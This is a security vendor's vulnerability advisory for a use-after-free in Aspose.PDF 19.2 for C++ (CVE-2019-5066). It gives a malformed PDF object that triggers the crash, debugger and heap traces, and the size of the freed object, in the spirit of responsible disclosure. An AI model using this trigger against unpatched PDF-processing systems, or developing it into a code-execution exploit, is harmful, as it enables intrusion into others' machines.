Talos Vulnerability Report

TALOS-2019-0855

Aspose.PDF for C++ LZWDecode filter predictor remote code execution vulnerability

September 17, 2019
CVE Number

CVE-2019-5066

Summary

An exploitable use-after-free vulnerability exists in the way LZW-compressed streams are processed in Aspose.PDF 19.2.for C++. A specially crafted PDF can cause a dangling heap pointer, resulting in a use-after-free condition. To trigger this vulnerability, a specifically crafted PDF document needs to be processed by the target application.

Tested Versions

Aspose.PDF 19.2

Product URLs

https://products.aspose.com/pdf

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Aspose provides a series of APIs for manipulating or converting a large family of document formats. Aspose.PDF is a library used for editing, writing, and rendering PDFs. The software provides a number of different language bindings to allow modification or creation of PDFs from a number of different developer environments.

PDF documents can contain streams compressed in various ways. One of the stream compression schemes is specified by LZWDecode filter. Each decoder can have certain decode parameters associated with it, one of which is Predictor value which changes the way data is encoded/decoded. While parsing a PDF object with malformed Predictor value for its LZW compressed stream, a LZW compression object is first allocated and then subsequently freed because of the malformation, but a stale reference to it is kept. When further processing the document, this stale reference is used, leading to use after free vulnerability. The following sample PDF object can trigger this vulnerability:

obj<<
    /DecodeParms
    <<
        /Predictor -
    >>
    /Filter/LZWDecode
>>
stream
endstream

PDF specification specifies only positive number values for LZWDecode encoded streams, a negative value results in LZW object being freed. With PageHeap enabled , this results in the following crash:

(16c58.16d40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x144b9:
00007ffd`8a7a47e9 894340          mov     dword ptr [rbx+40h],eax ds:00000198`055a4f10=????????
0:000> !heap -p -a rbx
    address 00000198055a4ed0 found in
    _DPH_HEAP_ROOT @ 1987bd01000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                19804044a90:      198055a4000             2000
    00007ffdc6f0feac ntdll!RtlDebugFreeHeap+0x000000000000003c
    00007ffdc6e2514b ntdll!RtlpFreeHeap+0x00000000000000ab
    00007ffdc6e271ec ntdll!RtlFreeHeap+0x00000000000003fc
    00007ffdc3fb88db ucrtbase!_free_base+0x000000000000001b
    00007ffd8a7b2a19 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x0000000000006819
    00007ffd8a7a4790 Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x0000000000014460
    00007ffd8a7b9351 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000d151
    00007ffd8a7b7172 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000af72
    00007ffd8a4c8948 Aspose_PDF_vc141x64!Aspose::Pdf::Engine::Data::IPdfStringExtractionInfo::Type+0x0000000000006a78
    00007ffd8a46afc0 Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x000000000000c290
    00007ffd8a48306c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000d73c
    00007ffd8a481c9c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000c36c
    00007ffd8aa0f76c Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::AnnotationCollection::Delete+0x000000000000082c
    00007ffd8a939c69 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::operator=+0x0000000000058019
    00007ffd8a9a171c Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::operator=+0x00000000000bfacc
    00007ffd8a94511d Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::operator=+0x00000000000634cd
    00007ffd8a8d7c78 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::PdfActionsEnumerator::PdfActionsEnumerator+0x00000000000023c8
    00007ffd8a8d82e9 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::PdfActionsEnumerator::PdfActionsEnumerator+0x0000000000002a39
    00007ffd8a644575 Aspose_PDF_vc141x64!Aspose::Pdf::Facades::PdfContentEditor::CreatePopup+0x00000000000016b5
    00007ffd8a8d6993 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::PdfActionsEnumerator::PdfActionsEnumerator+0x00000000000010e3
    00007ffd8a638fb5 Aspose_PDF_vc141x64!Aspose::Pdf::Facades::PdfContentEditor::CreatePdfDocumentLink+0x00000000000010c5
    00007ffd8ad72f4f Aspose_PDF_vc141x64!Aspose::Pdf::PdfASymbolicFontEncodingStrategy::PdfASymbolicFontEncodingStrategy+0x0000000000000def
    00007ffd8a4de2de Aspose_PDF_vc141x64!EnumMetaInfo<enum Aspose::Pdf::Engine::Data::PdfPrimitiveType>::values+0x0000000000007bde
    00007ffd8a53e95c Aspose_PDF_vc141x64!Aspose::Pdf::Document::Init+0x000000000000012c
    00007ffd8a4eebe7 Aspose_PDF_vc141x64!Aspose::Pdf::Document::Document+0x00000000000002e7
    00007ff71f0722ae image00007ff7_1f070000+0x00000000000022ae
    00007ff71f072f44 image00007ff7_1f070000+0x0000000000002f44
    00007ffdc6944034 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007ffdc6e83691 ntdll!RtlUserThreadStart+0x0000000000000021

 
0:000> r
rax=0000000000000001 rbx=00000198055a4ed0 rcx=000001987bd00000
rdx=000001987bd00000 rsi=00000000ffffffff rdi=0000000000000000
rip=00007ffd8a7a47e9 rsp=000000377a33b220 rbp=000000377a33b320
 r8=0000019804044c78  r9=00000000ffffffff r10=00000000ffffffef
r11=000000377a33b0f0 r12=000000377a33b690 r13=0000000000000000
r14=0000000000000000 r15=000000377a33ba30
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x144b9:
00007ffd`8a7a47e9 894340          mov     dword ptr [rbx+40h],eax ds:00000198`055a4f10=????????
0:000> k 5
 # Child-SP          RetAddr           Call Site
00 00000037`7a33b220 00007ffd`8a7b9351 Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x144b9
01 00000037`7a33b390 00007ffd`8a7b7172 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0xd151
02 00000037`7a33b9b0 00007ffd`8a4c8948 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0xaf72
03 00000037`7a33bd20 00007ffd`8a46afc0 Aspose_PDF_vc141x64!Aspose::Pdf::Engine::Data::IPdfStringExtractionInfo::Type+0x6a78
04 00000037`7a33be60 00007ffd`8a48306c Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0xc290

The above shows an access violation while referencing memory pointed to by rbx. Examining rbx pointer shows that it indeed points to freed memory. Stepping back shows the place where the memory was actually freed, which shows that it comes from a destructor associated with Aspose::Pdf::Engine::Filters::Impls::LZWDecode::ThirdParty::LZWStream object. Breaking before an object is freed will let us examine the allocated memory:

Breakpoint 3 hit
Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x1445e:
00007ffd`8a7a478e ff10            call    qword ptr [rax] ds:00007ffd`8cec5d00=00007ffd8a7b1be8
0:000> !heap -p -a ecx
    address 00000198055a4fd0 found in
    _DPH_HEAP_ROOT @ 1987bd01000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             19804044a90:      198055a4ed0              128 -      198055a4000             2000
          ? Aspose_PDF_vc141x64!Aspose::Pdf::FileParams::`vftable'+25b60
    00007ffdc6f0f4bf ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007ffdc6ebb530 ntdll!RtlpAllocateHeap+0x000000000008f760
    00007ffdc6e29725 ntdll!RtlpAllocateHeapInternal+0x00000000000005e5
    00007ffdc3fb9686 ucrtbase!_malloc_base+0x0000000000000036
    00007ffd8bde1047 Aspose_PDF_vc141x64!EnumMetaInfo<enum Aspose::Pdf::VerticalAlignment>::values+0x0000000000446fc7
    00007ffd8a7b92fb Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000d0fb
    00007ffd8a7b7172 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000af72
    00007ffd8a4c8948 Aspose_PDF_vc141x64!Aspose::Pdf::Engine::Data::IPdfStringExtractionInfo::Type+0x0000000000006a78
    00007ffd8a46afc0 Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x000000000000c290
    00007ffd8a48306c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000d73c
    00007ffd8a481c9c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000c36c
    00007ffd8aa0f76c Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::AnnotationCollection::Delete+0x000000000000082c

This shows us that the freed object is of size 0x128 bytes.

By carefully controlling allocations after the object is freed, an attacker can place arbitrary objects in its place, which can lead to further memory corruption and can ultimately result in arbitrary code execution.

Timeline

2019-07-29 - Vendor disclosure
2019-08-24 - Vendor acknowledged & advised issues under review
2019-09-16 - Vendor patched
2019-09-17 - Public disclosure

Credit

Discovered by Aleksandar Nikolic Cisco Talos.